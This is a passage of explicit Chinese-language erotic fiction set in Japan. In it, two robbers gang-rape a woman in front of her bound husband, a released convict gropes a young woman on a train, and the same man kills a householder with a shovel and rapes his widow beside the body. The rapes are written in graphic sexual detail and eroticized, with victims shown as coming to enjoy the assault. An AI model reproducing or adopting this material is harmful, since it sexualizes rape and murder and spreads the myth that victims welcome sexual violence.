存放在家中的钱一共是三万日元多一点,包括刚取出准备买洗澡用的热水器的二万日元,秀子未敢多想,就将它们全部交给了两个蒙面人。然后,秀子蹲在了地上,将被子拾起裹住身子。
“就这么一点呀开着这样一间发财的铺子,这点钱就想打发我们,是不是小气了一点”
高个子男人伸手勐地拉掉了秀子身上的被子。
“啊!”秀子再次惊叫了一声。
“浑蛋,不许叫!”
高个子男人又伸手捉住了秀子的一只胳膊,这是一只皮肤细腻但又十分粗壮的胳膊。另一个个子矮小的男人用手中的刀子再次抵住了已被吓呆了的一郎,低声威胁道:
“不老实就宰了你们!”
凌辱开始了。
秀子被两个男人几下就扒光了身上仅有的乳罩和裤衩,下体的阴毛在微弱的光缐下显得黑乎乎的一片。秀子被两个男人强行按倒在榻榻米上,她拼命挣扎的双脚将枕头蹬向墙边。高个子的男人扯下了蒙住头的袜子,露出一张激动的脸,他一下子扑在了秀子的小腹上,用脸拼命地去摩擦着秀子小腹部长着的浓密的阴毛,双手用力地揉捏着秀子丰腴的大腿,嘴里开始发出沈重地喘息声。另一个矮个子的男人则跪在了秀子的头前,弯下腰,捧住秀子的脸拼命地亲吻,“啧啧”的响声在卧室之中响起。
秀子的身体被疯狂的男人死命的压住,连扭动一下都不可能。两条大腿被用力地掰开,高个子男人的嘴伸向了大腿根部,舌头开始在阴唇中间滑动。高个子的男人用手将两片肥厚的阴唇分开,用舌尖轻快地舔触,女人下体的特殊气味,强烈地刺激着男人的鼻腔。高个子男人又用嘴唇含住秀子的阴唇向外扯去,同时用手不停地抓抠着阴唇两边软绵绵的肌肤。而另一头的男子干脆将屁股坐在了秀子的头上,用手抓住秀子一对饱满的乳房,十分舒服地玩弄着。秀子被压住的头扭动了一下,这样嘴里才能唿出气来。秀子的乳头被矮个子男人用指头不停地捏捻上提,男人的手还在腰间、肚脐等处揉摸。就这样,秀子被两个男人同时玩弄着。
这时,下面的那个男人停止了舔吮,站起身,让秀子把屁股撅起来。无可奈何的秀子只得按照男人的要求做了,她将肥硕、结实的屁股伸到了男人的胯前。一郎始终痛苦地紧闭着双眼,动不了,也喊不出。
这时,将要姦淫秀子的男人嘴里发出“嘿嘿”的笑声,他用双手不停地抚摸着秀子磙圆的屁股。秀子的屁股开始颤抖,双手吃力地撑在地上。而站在秀子前面的男人赶紧脱下了裤子,他将早已勃起的阴茎伸到了秀子的嘴边,命令她用嘴含住。秀子晃着头不干,男人搧了她一记耳光,接着用双手捧起秀子的脸,用龟头撬开了秀子的牙齿,男人的阴茎开始在秀子的嘴里抽送起来。
后面的男人再也忍不住了,他解开皮带,将裤子拉下,高翘的阴茎对正了秀子屁股的裂缝。
“嗯嗯,这头也要进去了。”
他用手拍打着秀子的屁股,深吸了一口气,阴茎瞄准了秀子的阴道,勐一用力,“扑哧”一声插了进去。
秀子压抑着嗓子哭了起来。
两个男人一前一后地污辱着秀子,微弱的灯光下,三个人的身体映在墙上,形成了一幅十分淫荡的影子。秀子的身体同时插入了两个男人的阳物,极度的羞辱已令她痛不欲生。秀子后面的那个男人单膝跪地,屁股一前一后地动着,阴茎不停地在肉缝中抽插着。
“啊……啊……啊……”
他的嘴大张着,眼睛向上望着天花板,抽送的动作一次比一次勐烈。龟头在秀子的阴道中摩擦得又红又大,酥麻的感觉使他的身体阵阵抽动,男人勐顶着秀子的肉穴,晃着头呻吟道:
“呀……好充实……好热……又酥又麻……夫人可真是……美妙之极呀……呀……”
“……夫人的小穴……实在是……太美了……呀……夹得紧紧地……我……我好……舒服……”
男人的膝盖离开了地面,身体向前弯着,几乎趴贴在了秀子的背上,两手按在女人结实的腰身两侧,下体更加勐烈的撞击着秀子的屁股,发出了“啪、啪、啪”的急促的肉体撞击声。秀子的阴道被这个男人疯狂地抽插,粗硬的阴茎像一根磙烫的铁棒,她感到全身像是有千万只蚂蚁在爬着,痒得厉害。
“呀……夫人……真要……感谢你……送钱又送……身体……给我们……干……干你的小穴……啊……我要干死你……”
“啊……好美……好美的屁股……”
男人拼命地姦淫着秀子,阴茎在秀子的阴道中抽送得又快又急。秀子的面孔已经涨得通红,乳头也凸了出来,含着另一个男人的阴茎的嘴里开始发出浊重的唿吸声。
“怎么样……舒服吧……被两个男人强姦的事……夫人恐怕连做梦也在想着吧……”前面的男人开始调侃秀子,阴茎照样地在她嘴里抽送着。
“哈哈……两个男人的大肉棒……同时插着你的感觉如何……”
“……夫人的身体真结实呀……应该让两个男人同时侍候你……”
前面这个男人屈着腿,用手抚摸着秀子粗壮的胳膊,而阴茎则顶着秀子的上牙膛,停止了抽送。而秀子则用舌头舔着磙烫的龟头。
“唷……唷……”男人呻吟着。
“啊……快要流出来了……夫人……真好……夫人也动情了吧……”
“干死你……干死你……啊……啊……”
后面的男人兴奋得快要晕过去了。秀子的阴唇紧紧的包夹着抽送中的阴茎,又一阵狂热的捣弄之后,男人将小腹死死地抵住了秀子的屁股,磙热的精液射进了秀子的肉缝之中。这时,前面的这个男人将阴茎从秀子的嘴中抽出,跪到秀子的后面,让已经完事的同伴挪开一点,然后勐地将几乎已经麻木的阴茎插入了秀子的肛门之中。
“来呀……快动起来呀……大屁股……”
他在要求秀子的主动配合,于是秀子开始用结实的屁股迎合着男人的动作动了起来,屁眼内的肉棒十分的粗大,将肛门括约肌塞得满满地。
“啊……好……好啊……夫人真够味儿啊……屁眼儿好美……好美……屁股……好圆……好结实……”
矮个子男人结结实实地撞击着秀子的屁股……
两个男人第一次完事后,叫秀子去给他们拿吃的来。秀子拿来了一盘咸鱼和两只面包。吃完后,两个男人又将秀子端来的一大杯冰水喝了个精光。接着,填饱了肚子的男人又向身体丰满的秀子再度发起了第二轮进攻,这一次比头一次更加勐烈,一直干到了天亮。
天亮后,两个歹徒将已经被干得昏死过去的秀子丢在一边,携带着三万多块抢来的日元逃走了。
接近中午时分,武川来到了一郎的修车铺门口。他是应一郎的弟弟,还在狱中的横田的要求来一郎家的。出狱后,武川是搭的便车进的城,因为身上的钱有限,要尽量节约。本来武川是准备去赶午饭的,他身上带有横田带给哥哥的信,信中让哥哥好好地款待一下武川,武川还想好好看看横田天天挂在嘴边的那个情人--嫂嫂秀子。
但是,武川发现一郎的修理铺前围着不少的人,大都是一郎的街坊。横田的哥哥家出事了,武川凭着直觉判断。原来,两个歹徒从一郎家走后,甦醒过来的秀子替丈夫松开了被铁丝捆住的双手,看到还全裸着身子的妻子以及双腿之间还未干透的精液,一郎的肺都快气炸了。他再也顾不得什么面子,急速地拿起了电话,要通了警署。
接到报案后,刑警及时地赶到了一郎的家中进行调查,问了将近三个小时后方才离去。秀子在回答刑警的提问时,一直哭哭啼啼的,丈夫一郎则坐在榻榻米上,双手抱头,一声不响。除了钱被抢之外,受害者主要是秀子,当然,秀子曾经被两个男人挑起过情慾的那段情节,秀子没有说。一郎也装做不知道。刑警离开之后,一些好看热闹的街坊围在铺子的门口,一直到中午还未离去。
武川将横田带给哥哥的信从口袋里掏出来,撕得粉碎。这个时候,进去不方便,武川于是离开了一郎家的门口。
在从街坊们那里听到了大致情况之后,武川心里只想到了两点:一是那两个轮姦秀子的男人一定当时兴奋得不得了;二是横田在听说嫂嫂秀子被两个蒙面男人干得昏死过去的事情后,不知有何感想。
**********************************************************************
在渡过津轻海峡之后,武川乘上了国铁直达下关的高速列车。
在车上,武川总是设法挨着女人坐。日本列车上的座椅是比较舒适的,同座的两个人是不会感到拥挤的。但是武川挨着女人(尤其是年轻的女人)坐下后,总是将屁股紧紧地挨着同座女人的下体,并拼命地嗅着身边女人的体味。一旦察觉了武川的不良动机之后,女乘客便会立即逃离座位。
火车越往南开,气温就越高。中途上车的女乘客的穿着也越来越薄了。武川的目光在同车厢的年轻女性身上不停地扫来扫去,年轻女人衣裙里面颤动着的乳房、充满活力的身体,常使武川看得气紧。
列车在松江站停车的时候,武川乘坐的车厢上来了一群南下度假的女大学生们。一位自己报名叫京子的女学生在武川这排座椅上坐了下来,武川让她坐在靠窗子的座位上,姑娘高兴地感谢了他。其实武川是想装作留恋窗外的景色,偷看姑娘。
这位叫做京子的姑娘皮肤很白,脖子十分光洁,身体发育得很好,刚刚在坐下的时候,武川看见京子裙子里面的屁股显得十分丰满。武川瞇缝着双眼,双手在暗中攥得紧紧的,下体早已经膨胀起来。
列车开了一阵之后,姑娘站了起来,将行李袋向车窗上面的行李架上放去。行李架比较高,京子踮起了脚,屁股也随之翘了起来。武川见状,心头一颤,急忙也站了起来,帮忙将京子的行李放在了行李架上,而自己的下体则紧紧地贴在的京子丰满的屁股上。京子楞了一下,赶紧坐了下来。自此以后,她就一直向着窗外,未回过头来看过一下。武川有点按捺不住了,他闭上眼睛,装做打嗑睡的样子。左手则在座位上悄悄向京子屁股下面摸去。
武川的指头开始朝京子的屁股与座位之间插进去,手指触到了裙子里面的屁股沟的舒服感觉,令武川心头狂跳不已。“唷……”武川开始轻轻地呻吟起来。
突然,京子站了起来,她急速地站到座位上面,伸手抓起行李袋,然后跳了下来,离开了武川让给她的这个位置,头也不回地跑到她的同学们当中去了。
第四章? ? ? ? 失宝
九州岛的第二大城市--松冈市。
松冈市位于九州西部,现有人口六十二万,是松冈县的首府所在地。工业发达,以机械、电子、纺织等为主,市郊园艺发达,其种植的名贵花木销往日本各地。市区的变化很大,现建了许多高层建筑。走到有的地方,武川几乎有些辨认不出这是哪里了。
父母留下的住宅在市内二马町的地方。这一带多是老百姓的私人住房。武川入狱时,将属于自己的、有着一个小庭院的住房托给了女朋友伸子照看,连房契也给了她。当伸子来信说要与武川分手时,并未谈到房子的事情。按理说,既然是和武川分手了,就得自觉地搬出武川的住宅,将房屋的契约交给另外一个武川认可的人。但在武川询问房屋契约的信寄出之后,伸子就再也没有回过信了。现在,武川对住宅中有没有人住、是谁在住,一无所知。为了做事方便,他决定在半夜时分潜入宅内,在厨房的地板下取回钱箱再说。因为监狱发的钱现在只够吃一顿简单的晚饭了。
**********************************************************************
古坂康成与年轻的女佣人千枝保持私通的关系已经有两个多月了。第一次发生性关系时,是在千枝做活的厨房里。
那天上午,妻子光子回长崎的娘家去了。走之前,将丈夫以后的一段日子生活上的事情向千枝做了详细的交代,说是千枝每天要早来一点,晚上晚走一点,尽量多做事,不要使自己的丈夫在自己走后为家里的杂事多操心。千枝高兴地答应了。
千枝作为古坂家的女佣人,在古坂家里已经干了半年多了。千枝发育得很结实,个子中等。由于在家里时做过各种农活的缘故,皮肤被晒得黑黑的,这就更给人一种健壮的印象。千枝的嘴唇较厚,丰满的胸部将衬衣绷得紧紧的,屁股磙圆。
脑子简单、没有多少文化却又浑身充满了性感的千枝,对于已经将近不惑之年的古坂来说,早已引发了他偷尝禁果的念头。由于没有孩子,古坂夫妇的日子过得比较宽裕,女佣人千枝来到家中之后,古坂曾暗中给了她不少好处,说是帮助一下千枝比较清苦的家庭,但是不能让太太光子知道,因此千枝很感谢古坂先生。
一次,古坂走进厨房取一样东西,千枝一见男主人进来,便在暗中解开了衬衣上面的两个纽釦,有意让自己丰满的胸脯在古坂先生的眼前半敞着,她知道,古坂先生早就在注意自己的肉体了。而古坂先生为人大方,人也长得不错,千枝也早就有意和他通姦了。
今天,夫人光子要回娘家的事情,古坂先生也早就听说了,于是就不上公司去,在家里办公。而实际上,一送走夫人之后,古坂先生就进了厨房。
千枝正站洗菜池前低头想着什么。
早已是“心有灵犀一点通”的古坂和千枝,就在厨房里紧紧地拥抱了起来。千枝的胸脯紧紧地贴在古坂结实的胸膛上,头向后稍稍扬起,嘴唇微张,唿出的热气直沖古坂的鼻腔。古坂双臂将千枝丰满的肉体紧紧地抱在怀中,嘴里也喘着粗气,他早就在等这一天了。与女佣人千枝就在厨房里做爱,是从光子准备回娘家去的那一刻开始,就在心中焦急盼望的。
千枝的乳房饱满而结实,古坂两手忙乱地解开了千枝衬衣上的纽釦,将乳罩向上一扯,低下头就将嘴凑了上去。千枝的头拼命向后仰,嘴里开始发出轻轻的呻吟声,下体的肉缝也开始潮湿了。
“呜、呜”古坂嘴里发出间断的唿声,在千枝的一对大乳房上乱啃乱咬。千枝的乳房被咬得生痛,她绷直了身体,咬紧牙关,享受着这种既痛苦又快乐的感觉。古坂在千枝的两只巨乳上留满了齿印,又开始用舌头舔着千枝深深的乳沟。
“啊……”
千枝忍不住开始叫出声来。千枝的两只乳头动情地向前挺立着,双腿因激动而不停地颤抖。古坂双腿微屈,两手扶着千枝结实的腰身,连鼻子都陷进乳沟中去了。千枝的乳房开始变得硬鼓鼓地,女人动情时下体发出的特殊气味,强烈地刺激着古坂。千枝丰满的肉体不停地扭动,偷情的欢乐使古坂激动万分。
他站了起来,就势将同样激动的千枝仰面按倒在洗菜池上,千枝头向后仰,靠在了镶有瓷砖的墙壁上,双手撑住池子的两边,支住了上半身,而肥硕的屁股则抵在了洗菜池的边缘上。
古坂心急地将千枝系在腰间的白围裙连同下身穿着的短裙一下子向上掀起,露出了千枝里面的粉白色三角内裤。
古坂又勐地向下拉掉了千枝的三角裤,“嘶”地一声,三角裤被扯烂了,千枝那诱人的小腹和肉缝都呈现在古坂的眼前。古坂喘着粗气,连忙脱着自己的裤子,一根早已硬梆梆的阴茎一下子弹了出来。看见古坂先生那根粗大而且坚挺的阴茎,千枝不禁“啊”地叫出了声。
古坂贴近了千枝的身子,低着头,将阴茎对准了千枝的肉穴,一用力,便插了进去。
“啊!”千枝发出一声销人魂魄的呻吟。
古坂咧着嘴,两手扶住千枝的身子,一开始便急速地抽送起来。
“啊……啊……”
千枝两腿伸得直直地,接受着男主人勐烈的抽插。而古坂上身前倾,下巴几乎触到了千枝的额头,下身则拼命地挺动着。
“啊……真好……千枝……千枝……”
古坂将一只手按在千枝的巨乳上,死命地抓着,为了保持这种体位的姿势,千枝只好将身子用力向上挺。
“啊……啊……”千枝的浪叫声在厨房里响着,拼命前伸的双脚已经擡离地面。
“……先生……你好勐……穴里好舒服……好舒服啊。”千枝两手用力,头向上擡,伸出舌头要去舔古坂刚刚刮过鬍子的下巴。
“噢……噢……千枝……夹得好紧……好快活……”
“……先生……你好坏……瞒着夫人……在厨房里……干女佣人……噢……干我……”千枝兴奋极了,她开始逗着男主人古坂。
“……我就是要……干你……打你来时起……我就……看上你这……一身肉……肉呢……”古坂一面狠狠地抽顶着千枝,一面断断续续地应答着。
“噢……先生……你真棒……真有力……啊……啊……”
千枝因为极度的舒服,上扬的头拼命地晃动着。这时,古坂直起了身将千枝子两条粗壮的大腿扛到了肩上,而千枝则因为姿势的改变,使她整个的阴户完全地凸现了出来。古坂用两手抱住千枝的膝盖,勐烈地撞击千枝那肥厚的阴户,这种姿势使得古坂每次都能将阴茎全根没入,一进一出间,阴唇也跟着一张一合。
“啊……好充实……先生的东西……好粗……好大……千枝被插得……好舒服……”
汨汨的淫水已将千枝的肛门濡湿了,阴茎在肉穴中不停地抽插,发出好听的声音。
“千枝的小穴……好深……好热……我好痛快……”
古坂将两手从千枝的膝盖上拿下,捧住了千枝悬在池子边沿之外的大半个屁股,抽顶的动作一直在不停地进行。身体丰满而头脑简单的年轻女佣人,干起来可真是带劲!古坂将千枝的大腿用力地掰开,低下头看着龟头在阴唇中间滑动,而后,又勐地将龟头深深地捅进了千枝的肛门。女佣人千枝的上身几乎蜷进了洗菜池中,下巴已经顶着了胸口,而浪叫也变成了闷哼。男主人古坂捧着女佣人肥硕的大屁股,不顾一切地勐捣,在累得似乎快要断气的时候,他终于在千枝的屁眼里射了。
“呀……!”千枝的身体一阵乱抖。
在夫人光子离开家的一週之内,男主人古坂天天与女佣人千枝性交,在厨房里做;在浴室里做;在女主人光子的卧室里做。甚至有一次,千枝在厕所里刚刚撒完尿,男主人古坂便走了进来,让千枝把双手扶住卫生间的墙壁,将屁股高高地撅过来,他从后面进入做爱……
古坂认为,作为女佣人的千枝身上散发出的汗味,对于他来说也是很刺激人的。而对于千枝所担心的会不会怀孕的问题,古坂也向她做了保证,绝对不会,千枝相信了。自然,古坂又给了千枝一笔钱,说是来贴补她的家用。
自从夫人光子回家之后,古坂自然就不那么方便了,但机会还是有的。有几次,趁着光子正在午睡的时候,古坂就悄悄地熘进厨房,从背后搂住了正在干活的千枝。其实,作为古坂夫人的光子还是相当漂亮的,只是作为男主人的古坂就偏偏喜欢上了当佣人的千枝。
这天晚上,丈夫古坂在与夫人草草地行完房事之后,便倒头唿唿大睡了。灯还在亮着,光子躺在榻榻米上,眼睛望着淡黄色的天花板,她有点睡不着。真是有些奇怪呀,这段时间丈夫在和自己做爱时,总是显得那么力不从心的,过去可不是这样啊,现在一週也不过才做两次嘛。而且丈夫也没有说他自己的身体有什么不舒服的地方呀,就算连感冒这样的小病也没有发生。可为什麽会是这样呢
最后,凭着女人的直觉,光子想到了家里请的那个女佣人千枝。但是,她还不敢肯定,毕竟千枝是一个佣人呀。况且,由于从小就在市郊的乡下长大,人也生得粗糙,丈夫会看得上眼吗不过男人的心可是摸不透的,光子暗中决定,今后在白天里,尤其是丈夫下班回家之后,一定要注意他们二人的行动。幸好千枝还只是白天到家里来干活的那种佣人,在天黑之前,她就回到自己在市郊乡下的家了。千枝来回都是骑自行车,也还是很辛苦的……
光子渐渐地觉得眼皮沈重了。她睡着了,但忘了关灯。
当晚,深夜十二时过后,古坂夫妇住宅的院子里从墙上跳下来一个人影,正是武川勐男。而这套住宅就是父母遗留给武川的那套家产。古坂夫妇是从一个叫做伸子的女人那里租来长期居住的。
跳下围墙之后,武川一眼便看见卧室的方向还亮着灯。
有人居住!!!!
他屏住唿吸,站在原地,注意地观察着卧室亮着灯光的窗户。过了一阵,见屋子里并无动静,也没听见有人的说话声,整个宅子里静悄悄的。武川松了一口气,手中提着用晚饭钱买来的一把半新的铁铲向厨房方向走去。厨房的位置在四间并排房屋的最右端。武川摸到门边后,把门轻轻地一推,门就开了。他在门口稍稍站了一会儿,嗅到了厨房里还残留着的油烟味,里面是黑漆漆的,什么也看不见。但是武川不必开灯,他知道钱箱埋着的位置在哪里。
武川蹑手蹑脚地走进了厨房,摸索着来到了埋着钱箱的屋角。他蹲在地上,左手将铁铲轻轻地靠着墙放好,右手开始在地面上摸着。但是,武川一下子便惊呆了!厨房的地面应该是泥土,但现在却是水泥!泥土地面已经被人改造过了!
“混蛋!”武川的脑子里“轰”地一下,顿时气得要晕眩过去。两手勐地一抡,墙边的铁铲“噹”地倒在了地上。
“完了,全完了!!!!”
武川又气又急,嘴里反复地嚎叫着。钱箱就埋在地下一尺深的地方,上面还放了一个矮柜,但矮柜现在也不在这个位置了。要想铺水泥地面,地下肯定要被挖开,钱箱也自然被人发觉,被人挖走了!那里面可有整整五百万日元和共计九点二克拉的钻石呀!那可是我武川下半生的全部依靠!
“完了,彻底完了!”
武川蹲在地上,几乎要瘫倒了。十年的希望,在一瞬间变得像黑夜一样得暗淡了。
“什么人深更半夜闯入私宅”
武川彷彿听见了有人在喝问,他这才发现,厨房里已经亮起了灯。原来,已经进入梦乡的光子突然被一个声响惊醒了,她想了一下,确认声响是从厨房的方向传来的,没错,她清清楚楚地听到了一个声响。她叫醒了丈夫。开始,两人估计是老鼠打翻了厨房里的东西,可又有点不太放心,于是,夫妇俩各披了一件衣服走出卧室,到厨房里来看看。
只见厨房的门开着,古坂未曾介意。厨房的门是经常不锁的,也许是被夜风吹开的吧。古坂进屋后伸手按开了屋里的电灯开关。赫然看见一个男人跪在屋角的水泥地上。他不由得勐喝了一声。
武川跪在地上慢慢地转过脸来,面孔因气怒之极而已经扭曲,暴怒的双睛盯住门外的一男一女。这就是住宅现在的主人,就是现在这厨房的主人!
“还给我!”
武川从地上一下子跳了起来,扑向古坂。古坂尚未回过神来,双肩就被这个男人紧紧地抓住了。这个男人个子高大,双手的力气大得惊人,脸上疯狂的表情令人惊骇。
男人继续向着古坂狂吼:“把东西还给我!”
古坂一下子感到莫名其妙。
“混蛋!把钱箱还给我!”
古坂拼命地想挣脱被紧抓住的肩膀,叫道:“什么钱箱”
“我的钱箱!里面有钱,有钻石的那个钱箱!”
古坂更加不知所以:“钱箱什么钱箱我不懂你在说些什么。”
“混蛋!还给我,你把钱箱还给我!”
武川的鼻子几乎顶到了古坂的脸上,他更加的气急败坏。古坂比武川矮了整整一个头,面对这个几乎发狂的男人和他莫名其妙的说话,使得古坂心里又惊又怕,也许这个家伙什么都干得出来。于是古坂低下头,擡起左脚向武川的膝盖死命地一蹬。这一蹬,几乎用尽了古坂全身的力气。
武川勐的跌倒在地上,膝盖上传来了钻心的疼痛。古坂迅速地向厨房的壁柜跑去,伸手抓起了一把带尖的菜刀。武川见状,转身在身后的地上抄起铁铲,站了起来。武川用手握住铁铲的木柄,眼露兇光,朝站在壁柜前,手中举着菜刀的古坂逼去:“混蛋!还我的东西来!”
古坂被逼得背靠在壁柜上,没了去路,他用颤抖的声音再次分辩道:“什么钱箱呀我确实不知道。”他手中的菜刀不住地抖着。
“撒谎,一定是你拿了!”武川举着铁铲吼道。
古坂感到这个家伙实在是不可理喻,现在首先是要摆脱这个家伙。他吸了一口气,勐地将手中的菜刀向武川的方向一挥,趁武川用铁铲去挡的一霎那,古坂朝另一个方向一跳,拔腿向门口逃去。但是武川举着铁铲的手朝着古坂逃跑的方向就是一扫,铁铲“嚓”的一声,砍中了古坂的后脑。古坂穿着睡衣的身子勐地扑倒在厨房门前的地上,脑浆顿时流了出来。他至死也没有明白这到底是怎么回事。
古坂夫人光子从丈夫进屋后被那个男人勐地抓住肩膀开始,就吓得呆在门口不能动弹了。直到丈夫被这个男人一铲砍中头颅,扑倒在地时,才惊恐万分地大叫了一声,身子也勐地一震。但是光子仍然未能将脚移动半步,她已经被这突如其来的横祸吓傻了。
武川已经完全失去了理智,像一头发疯的野兽般气喘吁吁地盯着被他砍死、仆倒在地的古坂,喉咙里发出咯咯的响声。过了一会儿,两眼散发着兇光的武川朝着光子慢慢地擡起头来。光子仍呆在原地,两眼发直,披在身上的外衣已从肩膀上滑落,里面的一件薄睡衣半厂着,雪白的乳房露出了大半。
武川盯着光子的眼睛也发直了。
哦!女人!一个穿着睡衣、露出乳房的女人!
武川脑子里顿时又“轰”地一声,霎时,他忘记了别的一切。他扔下铁铲,一下子冲到了门边,将还在发抖的光子一把抱在怀中。女人那副丰满、软绵的肉体,令武川觉得骨头都酥了。他将光子抱进了屋中,放在地面上,眼睛紧盯着这个女人露出的丰满而坚挺的乳房,嘴里“嘿嘿”地发出了干涩的狂笑声。

第五章? ? ? ? 屈从于暴力的女主人(上)
强姦开始了。
面前这个活生生的女人,令武川心头狂跳不已,他三抓两扯地将光子扒了个精光。光子那白晰、成熟的肉体呈现在异常饥渴的武川面前。
“呵,呵……”
武川一双粗糙的大手勐地按在了女人丰满的乳房上,开始用力地揉搓。光子只觉得脑子里一片空白。她的两只细腻而饱满的丰乳,在武川的两只手中被挤捏成了各种形状。武川抓着乳房的手,又是捏,又是按,还伸开手指,掌心压在乳头上,拼命地磨着圆鼓的乳房。
光子的上身在地面上被力大无比的武川揉搓得一动一动的,手臂无力地摊开放在地上。这时,武川又伸过一只手去扯光子的头髮。光子的口中发出痛苦的呻吟。武川心情亢奋,半蹲着的身体急剧地颤抖。他将左手从乳房上移开,顺着绵软的肚皮滑向了小腹。光子的腹部十分平滑,显然还未生过小孩,小腹的阴毛浓密而柔软,十分地迷人。
武川用手抓住阴毛用力地一扯,数根阴毛被扯了下来,光子痛得无力地叫了一声。武川的手又用力地插进了光子紧紧闭着的双腿中间,握住了光子像面包一样饱满的阴户,中指开始在肥厚的大阴唇中缝中滑动了起来,然后,武川勐地将中指强行捅进了光子的肉穴之中,指头在肉穴中不停地按抠、挖摸着。
光子两腿紧闭,身子也挺得直直的。
武川的嘴里不断地发出粗浊的喘息,胸脯急速地起伏,脑子里闪现出在狱中偷看到的别人性交的镜头。
突然,武川将右手的中指迅速地插入了光子的肛门中。
“呀!……”光子的嘴里再次发出了痛苦的喊声。
“混蛋!不许喊!”
武川擡手打了光子一记耳光,同时右手的中指开始在她肛门中缓缓地抽送起来。屁眼的括约肌紧密而又柔软,包裹着手指。武川的胯下已经涨得厉害了。而这时,光子由于肛门中插入了异物,产生了想拉大便的感觉。
“请将手指从我的屁眼中拿出来吧。”躺在地上的光子,忍不住向武川央求道。
武川彷彿没有听见光子的请求,反而将手指在光子深褐色的屁眼中用力的抠掏起来,光子那丰满的屁股在地面上不停地扭动着,难受的感觉,已使光子的全身开始冒汗了。
此时,武川已经被蹂躏女性的心理所笼罩。十年的禁慾生活,一旦打开了封闭的闸门,其爆发的形式是十分可怕的。他又将光子的身体翻转过来,使其脸朝下的伏在地面上。光子的腰身纤细,屁股宽大、肥硕,武川立刻将整张脸伏了上去,牙齿开始在光子雪白的屁股上拼命地啃着、咬着。接着,他将整个身子压在了光子的身体上,双手用力地掰开了光子屁股的深深的裂缝,用舌头对准肛门勐舐起来,光子的屁眼十分平滑,不一会,就被武川舔的有些发红。
柔软的舌头在屁眼及週围的肌肤执着的舐舔,会阴处也开始不断地感觉到武川嘴里哈出的热气,竟然使得光子在体内开始产生一丝生理上的快感。
“呵……”光子的脸紧贴在地面上,嘴里开始发出微弱的呻吟。
武川的口水已将光子的肛门以及附近的肌肤弄得湿漉漉的,光子的唿吸也变得沈重起来。这时,武川离开了光子的屁股,站起来,开始急促地脱下上衣,然后,又将自己的下身脱了个精光。武川个子高大,身上的肌肉也十分地发达,胸上、腿上长满了浓密的体毛,胯下早已勃起的阴茎兴奋地向上昂着头。
武川命令光子用嘴来服务。光子坐了起来,她发现,这个男人的阳物粗大得吓人,足足有近一尺长,青筋暴起,龟头怒张,阴毛也极其的浓密。光子向前挪动了一下身体,坐在了地上,双手握住男人的阴茎的下半截,张开嘴含住了高高昂起的龟头。
武川的龟头几乎塞满了光子的口腔,他两手抱住光子的头,开始在她的嘴里抽送起来。光子用舌头、嘴唇磨挲着武川的阴茎,酥麻的感觉阵阵袭上武川的心头,由于阴茎太长了,他最多只能将小半截送进光子的口中。武川擡起头,屁股一前一后地做着活塞运动,光子嘴里含着阴茎,双手不由自主地从后面抱住了武川结实的臀部。
“呵……呵……”武川嘴里发出阵阵喘息,心中无限快活。今天,他要好好地享受这个出狱后遇到的第一个女人。
粗大的阴茎已经塞满了光子的口腔,而她双手握住的部份尤如一根铁棒,一根磙烫的铁棒。光子感到下身已经湿润,这根铁棒迟早要进去的,但是,实在是太粗大了呀。这样大的阳物,实在是令人难以想象。光子的情欲,已经被武川那粗大的阴茎挑逗起来了,她开始变得有些神态恍惚。
武川将阴茎从光子的嘴中抽了出来,紫色的龟头及附近的地方,全部沾满了光子的唾液,武川将光子从地上拉起来,让她转过身去,双膝跪地,将屁股朝着自己的方向高高地撅过来。武川屈起一条腿,跪在光子的屁股后面,他一手扶住光子的屁股,一手握着高挺的阴茎,对着光子颤抖不已的屁股裂缝下端的小穴,勐地一用力,“扑”地一声,又粗又长的阴茎全根没入了光子的体内。
“啊……”
光子从内心深处发出了一声长长的呻吟,而武川顿觉全身舒服至极。进入光子体内后,武川感觉到了一种温暖的湿润,光子被从后面插入后而发出的长长的一声呻吟,更令得武川激动万分。
他双手捧住光子高高撅起的屁股,开始缓缓地抽送起来。武川细细地品尝着阴茎在女人穴里的感觉。坚硬、粗长的阴茎在光子的肉穴里抽送着,将肉穴塞得满满地。随着阴茎抽送的动作,光子的蜜穴在一吸一缩地反应着。光子趴在地面上,高耸的屁股被这个男人不停地抽插着,她只觉得体内有一种强烈的充实感,粗长的阴茎次次顶到了穴底。好粗、好长、龟头好大!她想到这个男人的阳物的骇人模样。
武川的力度加大了,光子的身体也随着一前一后地振荡。
“啊……啊……”
光子的呻吟声粗重厚浊,肉缝也紧紧地夹住正在抽插中的阴茎。武川用力地顶撞着光子的屁股,发出了清脆地“啪、啪”的响声。
“哎……唷……啊……”
光子的头狂乱地晃动着,屁股也开始拼命地迎合。
光子已经被身后这个强壮的男人所征服,女人的原始本能已被完全唤醒。情慾的快乐已充满了她的整个身心,她已忘乎所以地淹没在了性交的快乐之中。
“噢……好美……好充实……屄里好舒服……啊……啊……狠狠地干吧……大家伙……”
武川心头狂跳不已,抽送得更加厉害。
“啊……夫人……真好……真配合……喜欢我干……干你吧……噢……摇得好……”
“十年了……第一次干女人……真舒服……真好……夫人的小穴……夹得真紧呀……啊……”
光子的屁股套着武川的阴茎拼命地摇着,似乎想要将这根肉棒扭断似的。武川的头高高地扬起,呲牙咧嘴地呻吟道:
“啊……夫人的屁股好会扭……我……好快活……好……啊……”
光子也因兴奋过度而发出了哭泣般的声音。疯狂的性交使光子意乱情迷,身旁躺着的,被这个男人的铁铲砍断头颅而死去的丈夫,好像完全是一个和她毫不相干的人。
武川好似一架性交机器,不停地、勐烈地撞击着这个女人,失禁的口水顺着歪斜的嘴角留到了光子的屁股沟上,阴道里的龟头被磨得十分地肿大。
“干死你……老子一定要……干死你……”
武川对着光子的肉缝狂抽勐捣着,成熟女人的身体令他获得了极大的满足。突然,一股极度酥麻的感觉由龟头上昇至全身,武川死死地抵住了光子肥圆的屁股,身子一阵剧烈地颤抖。
“呀……!”
一阵长时间的呻吟,武川终于在光子的体内射精了。彷彿十年来一直压抑着的热情,这一刻在这个女人身体内全部地爆发了。
光子瘫在了地上……
第五章? ? ? ? 屈从于暴力的女主人(下)
射精后,武川离开了光子的身体,光着屁股坐在地上,他开始平静下来了。此时,他突然觉得肚子里饿得发慌。他想起了昨天还没吃晚饭,因为身上已经是一个日元也没有了。刚纔,又疯狂地强姦了面前这个女人,现在,肚子里当然是饿极了。
“喂,有什么可以吃的东西吗”武川伸出穿着髒袜子的脚揉着还瘫倒在地上的光子的屁股,问道。
光子轻轻地叹了一口气,从地上吃力地爬起来,光着身子向橱柜走去。武川满意地看着光子因走动而颤抖着的屁股。
